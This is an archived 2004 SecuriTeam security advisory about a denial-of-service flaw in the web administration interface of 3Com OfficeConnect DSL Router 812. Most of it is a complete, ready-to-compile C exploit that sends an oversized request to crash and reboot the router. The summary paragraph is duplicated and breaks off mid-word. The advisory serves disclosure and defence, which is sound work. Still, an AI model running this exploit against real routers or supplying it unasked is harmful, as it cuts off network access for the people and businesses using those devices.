

[EXPL] 3Com DSL Router Administrative Interface Long Request DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0065.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/24/04

To: list@securiteam.com

Date: 24 Feb 2004 11:31:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

3Com DSL Router Administrative Interface Long Request DoS

SUMMARY

OfficeConnect is a router widely used in the world. The router can be rebooted due to a flaw in its web administration interface. As no authentication is needed, every LAN user can cause a crash and reboot of the router, stopping internet connection for one or two minutes. A remote user can exploit it if the web interface is available in the WAN interface of the router or if he can persuade a user to click on a link in a forum or to visit a webpage (as you can always access the web interface if the connection is local initiated, as is from the web browser). OfficeConnect is a router widely used in the world. The router can be rebooted due to a flaw in its web administration interface. As no authentication is needed, every LAN user can cause a crash and reboot of the router, stopping internet connection for one or two minutes. A remote user can exploit it if the web interface is available in the WAN interface of the router or if he can persuade a user to click on a li!

DETAILS

Vulnerable Systems:

* 3Com OfficeConnect DSL Router 812 1.1.7

Securiteam: [EXPL] 3Com DSL Router Administrative Interface Long Request DoS

- * 3Com OfficeConnect DSL Router 812 1.1.9
- * 3Com OfficeConnect DSL Router 812 2.0

Exploit:

```
/* 3com-DoS.c
 *
 * PoC DoS exploit for 3Com OfficeConnect DSL Routers.
 * discovered by David F. Madrid.
 *
 * Successful exploitation of the vulnerability should cause the router to
 * reboot. It is not believed that arbitrary code execution is possible –
 *
 * check advisory for more information.
 *
 * –shaun2k2
 */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
    if(argc < 3) {
        printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 – <
shaunige@yahoo.co.uk>\n\n");
        printf("Usage: 3comDoS < 3com_router> < port>\n");
        exit(-1);
    }

    int sock;
    char explbuf[521];
    struct sockaddr_in dest;
    struct hostent *he;

    if((he = gethostbyname(argv[1])) == NULL) {
        printf("Couldn't resolve %s!\n", argv[1]);
        exit(-1);
    }

    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket()");
        exit(-1);
    }

    printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 – <
shaunige@yahoo.co.uk>\n\n");
```

Securiteam: [EXPL] 3Com DSL Router Administrative Interface Long Request DoS

```
dest.sin_addr = *((struct in_addr *)he->h_addr);
dest.sin_port = htons(atoi(argv[2]));
dest.sin_family = AF_INET;

printf("[+] Crafting exploit buffer.\n");
memset(explbuf, 'A', 512);
memcpy(explbuf+512, "\n\n\n\n\n\n\n", 8);

if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) ==
-1) {
    perror("connect()");
    exit(-1);
}

printf("[+] Connected...Sending exploit buffer!\n");
send(sock, explbuf, strlen(explbuf), 0);
sleep(2);
close(sock);
printf("\n[+] Exploit buffer sent!\n");
return(0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:shaunige@yahoo.co.uk>> Shaun Colley.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.